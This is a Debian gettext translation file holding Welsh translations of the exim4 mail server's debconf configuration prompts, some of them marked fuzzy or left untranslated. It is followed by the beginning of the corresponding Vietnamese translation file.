reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # # Dafydd Harries , 2004 2005. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2005-04-25 20:21+1000\n" "Last-Translator: Dafydd Harries \n" "Language-Team: Welsh \n" "Language: cy\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Dileu negeseuon heb eu dosbarthu sydd yn y cyfeiriadur sbŵl?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Mae negeseuon yn y cyfeiriadur sbŵl Exim /var/spool/exim4/input sydd heb eu " "dosbarthu eto. Cewch eu cadw nwh rhag ofn rydych chi'n penderfynu ailsefydlu " "Exim yn hwyrach, neu cewch ddewis eu dileu nhw." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "safle Rhyngrwyd; derbynnir a danfonir post yn uniongyrchol drwy SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "danfonir post drwy westeiwr clyfar; derbynnir drwy SMTP neu fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "danfonir post drwy westeiwr clyfar" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "dosbarthiad lleol yn unig; ddim ar rhwydwaith" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "dim cyfluniad ar hyn o bryd" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Math cyffredinol o gyfluniad ebost:" #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Dewiswch y math o gyfluniad sy'n bodloni eich anghenion orau." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Yn gyffredinol, fe ddyai peiriannau a chyfeiriadau IP deinamig, yn cynnwys " "systemau sy'n deialu i fyny, gael eu cyflunio i ddanfon post allan i " "beiriant arall, a elwir yn \"westeiwr clyfar\", ar gyfer dosbarthiad. Cewch " "ddewis derbyn ebost ar y fath system; neu i gael dim dosbarthiad lleol, ar " "wahan i \"root\" a \"postmaster\"." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Gwir adael y system ebost heb ei gyflunio?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Tan y caiff eich system ebost ei gyflunio, fe fydd wedi torri a ni ellir ei " "ddefnyddio. Wrth gwrs, cewch ei gyflunio'n hwyrach, un ai â llawn neu gan " "redeg \"dpkg-reconfigure exim4-config\" fel \"root\"." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Enw ebost y system:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Caiff yr enw hwn ei ddefnyddio gan rhaglenni eraill; dylai fod yr enw parth " "cyflawn, sengl (FQDN) y bydd post yn ymddangos y daeth ohoni." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ni fydd yr enw hwn yn ymddangos ar linellau From: post allan os ydych chi'n " "galluogi ailysgrifennu." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Cyrchfannau eraill y derbynir ebost ar eu cyfer:" #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Rhowch rhestr o barthau fe ddylai'r peiriant hwn gysudro ei hun y cyrchfan " "terfynol ar eu cyfer, ar wahan i'r enw gwesteiwr lleol (${fqdn}) a " "\"localhost\"." #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Yn rhagosodiedig, caiff pob parth ei drin yr un fath; os hoffech chi i'r " "gwahanol barthau eu trin yn wahanol, bydd rhaid i chi olygu'r ffeiliau " "cyfluniad yn hwyrach." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Parthau i ailddosbarthu post ar eu cyfer:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Peiriannau i ailddosbarthu post ar eu cyfer:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Os oes yna rai, rhown nhw yma, wedi ei gwahannu gan orwahannodau (:). Fe " "ddylwch ddefnyddio'r ffurf cyfeiriad/hyd arferol (e.e. 194.222.242.0/24)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "New parth gweladwy ar gyfer defnyddwyr lleol:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Gweler /usr/share/doc/exim4-base/README.Debian.gz am nodiadau ynghylch " "cyflunio dilysiad SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Derbynnydd ebost \"root\" a \"postmaster\":" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Mae ebost i'r cyfrifon \"postmaster\" a \"root\" ac i chyfrifon system " "eraill fel arfer yn cael ei ailgyfeirio at cyfrif defnyddiwr gwir weinyddwr " "y system. Os ydych chi'n gadael y gwerth hwn yn wag, bydd y fath bost yn " "cael ei gadw yn /var/mail/mail, a ni argymhellir. Sylwer y dylai ebost " "postmaster gael ei ddarlen ar y system y caiff ei gyfeirio ati, yn hytrach " "na chael ei gyfeirio i rhywle arall felly ni ddylai (o leiaf un o) y " "defnyddwyr rydych chi'n dewis ailgyfeirio eu ebost bant o'r peiriant yma. " "Defnyddwich cynddodiad \"real-\" i orfodi dosbarthiad lleol." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Rhowch un neu fwy enw defnyddiwr wedi eu gwahannu gan fylchau." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Cyfeiriadau IP i'w gwrando arnynt am gysylltiadau SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Os ydych chi'n gadael y gwerth hwn yn wag, fe fydd Exim yn gwrando am " "gysylltiadau ar borth SMTP pob rhyngwyneb rhwydwaith." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Os nad yw'r cyfrifiadur hwn yn derbyn ebost yn uniongyrchol drwy SMTP o " "gyfrifiaduron ERAILL, ond dim ond o wasanaethau lleol fel fetchmail neu eich " "rhaglen ebost yn siarad i localhost yna fe ddylwch wahardd cysylltiadau " "allanol i Exim gan osod yr opsiwn hwn i 127.0.0.1 a felly yn analluogi " "gwrando ar rhyngwynebau rhwydwaith lleol." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Lleihau'r nifer o geisiau DNS (deialu pan bo angen)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Fel arfer, mae Exim yn gwneud ceisiau DNS wrth gychywn, wrth dderbyn ac " "anfon negeseuon, a.y.y.b. er mwyn cofnodi a chadw'r nifer o werthoedd cadarn " "yn y ffeil cyfluniad yn isel." #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Os mae hyn yn westeiwr heb gysylltiad parhaol at weinydd DNS sy'n deialu i " "fyny pan bo angen, fe all hyn olygu fod cychwyn Exim neu redeg ciw (hyd yn " "oed a dim neges yn aros) achosi deialu i fyny costus i ddigwydd." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" #. Type: title #. Description #: ../exim4-config.templates:12001 #, fuzzy msgid "Mail Server configuration" msgstr "Math cyffredinol o gyfluniad ebost:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Hollti cyfluniad i ffeiliau bychan?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Gally y pecynnau Debian exim4 un ai ddefnyddio ffeil cyflawn sengl (/etc/" "exim4/exim4.conf.template) neu tua 40 ffeil bychan yn /etc/exim4.conf.d/ i " "gynhyrchu'r cyfluniad terfynol." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Mae'r ffurf cyntaf yn well ar gyfer newidiadau mawr ac yn gyffredinol yn fwy " "sefydlog, tra mae'r ail ffurf yn cynnig ffordd mwy cyfforddus o wneud " "newidiadau llai ond yn fwy bregus a gall dorri os gnweur newidiadau mawr." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Cuddio'r enw ebost lleol mewn ebost allan?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Gellir ailysgrifennu pennodau post allan i'w wneud e ymddangos ei fod wedi " "ei gynhyrchu ar system wahanol, gan newid \"${mailname}\" \"localhost\" a a " "\"${dc_other_hostnames}\" yn From, Reply-To, Sender a Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 #, fuzzy msgid "Delivery method for local mail:" msgstr "danfonir post drwy westeiwr clyfar" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Symud ebost heb eu dosbarthu eto o sbŵ Exim fersiwn 3 i sbŵl Exim 4?" #, fuzzy #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Mae rhai negeseuon heb eu dosbarthu yn y cyfeiriadur sbŵl exim neu exim-" #~ "tls /var/spool/exim/input/. Gellir eu symud at sbŵl exim4 (/var/spool/" #~ "exim4/input/) nawr, a caent eu trin gan exim4." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Sylwer fod y trosiad yma yn gweithio un ffordd yn unig: mae exim4 yn " #~ "gallu ymddelio a sbŵl exim(3), ond nid y ffordd arall o gwmpas." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Symudwch y post dim ond os nad ydych chi'n bwriadu mynd yn ôl i exim(3), " #~ "neu ni ddylir symud yr ebost nawr ond â llaw ar ôl i chi drosi'ch " #~ "cyluniad." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Os oes mwy, rhowch nhw yma, wedi eu gwahanu orwahannodau (:). Cewch adael " #~ "hyn yn wag os nad oes rhai." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Rhowch yma'r parthau rydych chi'n derbyn post i'w ailddosbarthu ohonynt." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Mae'r parthau yma yn rhai rydych chi'n barod i dderbyn post ar eu cyfer o " #~ "unrhywle ar y Rhyngrwyd. Peidiwch a rhestru parthau lleol yma." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Dylid gwahannu'r parthau a roddir yma gan orwahannodau (:). Ceir " #~ "defnyddio gwylltnodau." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Gan eich bod chi wedi galluogi cuddio'r enw ebost lleol mewn post allan, " #~ "rhaid i chi benodi'r enw parth i ddefnyddio ar gyfer post o ddefnyddwyr " #~ "lleol; fel arfer dyma'r peiriand rydych chi'n defnyddio i dderbyn eich " #~ "ebost." #~ msgid "Where will your users read their mail?" #~ msgstr "Ble bydd eich defnyddwyr yn darlleu eu ebost?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Y peiriant sy'n trin post allan dros y gwesteiwr hwn (gwesteiwr clyfar):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Rhowch enw gwesteiwr y peiriant y caiff post allan ei ddanfon ati." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Galluogwch hyn os ydych chi'n defnyddio deialu pan bo angen; fel arall " #~ "analluogwch ef." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Dewiswch y math o gyfluniad sy'n bodloni eich anghenion orau." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Os nad ydych yn sicr yna ni ddylwch ddefnyddio cyfluniad wedi hollti." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "trosi o gyfluniad Exim fersiwn 3 â llaw" #~ msgid "Configure Exim4 manually?" #~ msgstr "Cyflunio Exim4 â llaw?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Dwedoch fod gennych gyfluniad Exim 3 a wneuthpwyd â llaw. Er mwyn ei " #~ "drosi i Exim 4, gallwch ddefnyddio'r rhaglen exim_convert4r4(8) ar ôl y " #~ "sefydliad.Gweler /usr/share/doc/exim4-base/examples/example.conf.gz a /" #~ "usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Tan mae eich system ebost wedi ei gyflunio, bydd wedi torri a ni ellir ei " #~ "ddefnyddio." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Mae eich \"enw ebost\" yn cyfateb i rhan enw gwesteiwr y cyfeiriad a " #~ "ddangosir ar negeseuon post a newyddion allan (yn dilyn yr enw defnyddiwr " #~ "a'r arwydd @) os na chaiff ei guddio drwy ail-ysgrifennu." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Rhowch yma y rhwydweithi o beiriannau lleol i dderbyn post i'w " #~ "ailddosbarthu ohonynt." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Fe ddylai hyn gynnwys rhestr o'r holl beiriannau a fydd ein defnyddio ni " #~ "fel gwesteiwr clyfar." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Rhaid i chi ddyblu'r gorwahannodau mewn cyfeiriadau IPv6 (e.e. " #~ "5f03::1200::386f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Rhowch rhestr wedi ei wahannu a orwahannodau o gyfeiriadau IP i'w gwrando " #~ "arnynt. Rhaid dyblu'r gorwahannodau mewn cyfeiriadau IPv6 (e.e. " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Cyflunio Evim fersiwn 4 (exim4-config)" debian/po/vi.po0000644000000000000000000006354712027557533010612 0ustar # Vietnamese Translation for exim4_debian. # Copyright © 2008 Free Software Foundation, Inc. # Clytie Siddall , 2005-2008. msgid "" msgstr "" "Project-Id-Version: exim4_debian\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-01-15 15:44+1030\n" "Last-Translator: Clytie Siddall \n" "Language-Team: Vietnamese \n" "Language: vi\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: LocFactoryEditor 1.7b1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Gỡ bỏ các thư chưa phát khỏi thư mục ống chỉ không?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Thư mục ống chỉ của exim « /var/spool/exim4/input » chứa một số thư chưa " "được phát. Việc gỡ bỏ chương trình Exim sẽ gây ra các thư này còn lại chưa " "được phát đến khi Exim được cài đặt lại." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Không bật tùy chọn này thì thư mục ống chỉ được giữ lại, cho phép các thư " "nằm trong hàng đợi được phát vào ngày sau, sau khi cài đặt lái chương trình " "Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Cấu hình lại « exim4-config » thay cho gói này" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 có cấu hình được định dạng như là gói riêng, « exim-config ». Muốn cấu " "hình lại phần mềm Exim4 thì sử dụng lệnh « dpkg-reconfigure exim4-config »." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "nơi Mạng; thư được gởi và nhận trực tiếp bằng SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "thư được gởi bằng smarthost; nhận thông qua SMTP hay fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "thư được gởi bằng smarthost; không có thư cục bộ" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "thư được phát chỉ cục bộ; không phải trên mạng" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "không cấu hình vào lúc này" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Kiểu cấu hình thư chung:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Hãy chọn kiểu cấu hình máy phục vụ thư tín thích hợp nhất với trường hợp của " "bạn." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Các hệ thống có địa chỉ IP động, gồm có hệ thống quay số, nên có cấu hình " "gửi thư cho máy khác (mang tên « smarthost »: máy khéo) phát, vì nhiều hệ " "thống nhận nằm trên Mạng cũng chặn các thư đến từ địa chỉ IP động, để bảo vệ " "khỏi thư rác." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Hệ thống có địa chỉ IP động thì có khả năng nhận thư tín của chính nó, hoặc " "khả năng phát cục bộ có thể được tắt hoàn toàn (trừ thư cho người chủ (root) " "và chủ bưu điện (postmaster))." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Thật sự để lại hệ thống thư chưa được cấu hình không?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Chưac cấu hình thì hệ thống thư tín bị hỏng nên không thể dùng được. Việc " "cấu hình vào lúc sau có thể được làm hoặc bằng tay hoặc bằng cách chạy lệnh " "« dpkg-reconfigure exim4-config » với tư cách là người chủ (root)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" 